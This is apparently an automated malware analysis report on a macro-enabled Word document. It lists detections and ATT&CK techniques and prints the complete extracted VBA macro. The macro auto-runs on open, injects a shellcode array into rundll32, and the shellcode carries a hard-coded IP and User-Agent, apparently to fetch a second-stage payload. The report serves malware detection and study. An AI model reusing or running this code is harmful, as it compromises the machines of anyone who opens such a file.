Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c1c335152d3fc0ba…

MALICIOUS

Office (OOXML)

21.8 KB Created: 2020-09-07 15:53:00 UTC Authoring application: WPS Office_11.1.0.9141_F1E327BC-269C-435d-A152-05C5408002CA First seen: 2020-09-15
MD5: ab5384be5e8a85d5ba016284b5507e30 SHA-1: 29425cea95d62121fe5d85d457aa9493e72291bc SHA-256: c1c335152d3fc0ba1f39f584f46a7baf03f9d19a692f9699007061660188600e
234 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros, indicated by multiple heuristic firings including OLE_VBA_AUTOOPEN and OLE_VBA_WBOPEN. The extracted VBA script utilizes Windows API functions such as VirtualAllocEx and WriteProcessMemory, suggesting an attempt to inject and execute shellcode. This is further supported by the critical ClamAV detection for 'Doc.Macro.Injection'. The primary goal appears to be the execution of a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Macro.Injection-6355574-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Injection-6355574-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    -123, -64, 116, -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 52, 55, 46, 49, 48, 53, 46, 49, 52, 51, 46, 49, 56, 49, 0, 18, 52, 86, 120)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.wps.cn/officeDocument/2013/wpsCustomDataIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7902 bytes
SHA-256: f8e49a6e2e0d9cd83ebb0d8896edfcc83818418be07af9b3da9611be0959d9ed
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "CreateNewMacros"
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String
    
#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -124, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, -75, 34, 0, 0, 83, 80, 104, 87, -119, -97, _
-58, -1, -43, -21, 112, 91, 49, -46, 82, 104, 0, 2, 64, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, 80, 49, -1, 87, 87, 106, -1, 83, 86, _
104, 45, 6, 24, 123, -1, -43, -123, -64, 15, -124, -61, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, _
-43, 49, -1, 87, 106, 7, 81, 86, 80, 104, -73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 116, -73, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, -117, -1, _
-1, -1, 47, 56, 83, 87, 122, 0, 22, 120, 90, -4, 94, -10, 92, 52, 9, -110, -78, 17, 99, -35, 15, -13, 107, 93, -35, -95, -76, -92, -46, -9, 25, 115, -44, 0, 125, 2, 100, -34, _
-33, 72, 106, -122, 60, -28, 53, 2, -115, 99, -113, 41, -105, -90, -90, 60, -55, 42, -91, -96, 106, 48, -33, -117, 13, 55, -80, -29, -13, 76, -28, -116, 52, 21, 69, -121, -54, -82, -80, 114, _
-19, 0, 85, 115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 99, 111, 109, 112, 97, 116, 105, 98, 108, 101, 59, 32, 77, _
83, 73, 69, 32, 57, 46, 48, 59, 32, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 53, 46, 48, 59, 32, 77, 65, _
78, 77, 41, 13, 10, 0, 100, 126, -23, -80, -89, -109, 107, 8, 30, -58, -23, 102, 80, 87, -52, -109, -75, -111, 107, 47, -19, -52, -77, 69, 24, -59, 7, 66, 11, 62, 10, 28, -56, -106, _
66, 124, -69, -51, 120, -127, -49, -17, -28, 117, -51, 59, 97, -43, 108, -85, -7, -109, 86, -50, 121, -7, -7, 86, 67, -107, -83, -35, 69, -12, -36, 12, -31, -111, 14, -47, -85, 5, 14, -79, _
82, -61, -13, -93, 74, -77, -52, 120, 27, -87, -119, -77, 92, 12, -56, -69, 58, -127, -27, -37, -70, 103, -113, 100, -56, -12, 4, -37, -127, -7, 88, 110, -24, -111, -32, 60, -36, -56, 70, 83, _
-89, 108, -16, -37, -72, 14, 26, -40, -21, -7, -114, -62, 113, 53, -38, -37, -22, -34, 82, 96, 10, 33, 65, 91, -54, 92, 76, 23, -105, -64, -24, -11, 84, -7, 106, -8, 74, 9, 28, 53, _
108, -20, -45, 65, 120, -105, 42, 74, -80, 122, 113, -31, 109, 83, -85, 114, -86, 14, -25, 55, 41, -68, 65, -20, -34, 67, 23, -116, 86, 98, 78, 106, -11, -120, -12, 64, 85, 117, -68, 115, _
91, 87, -43, -37, 77, -45, -99, -97, -39, 43, -113, -126, -25, -94, 91, 20, 47, 14, -111, 11, -46, -12, 115, 101, 6, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, _
104, 0, 0, 64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, _
-123, -64, 116, -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 52, 55, 46, 49, 48, 53, 46, 49, 52, 51, 46, 49, 56, 49, 0, 18, 52, 86, 120)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") & "\\System32\\rundll32.exe"
    End If

    res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
    Next offset
    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 35c26c9fd86ebb7d419cf05e3d4cd6de810ea226742d75613c5790e66a6c6508
Detection
ClamAV: Doc.Macro.Injection-6355574-0
Obfuscation or payload: unlikely

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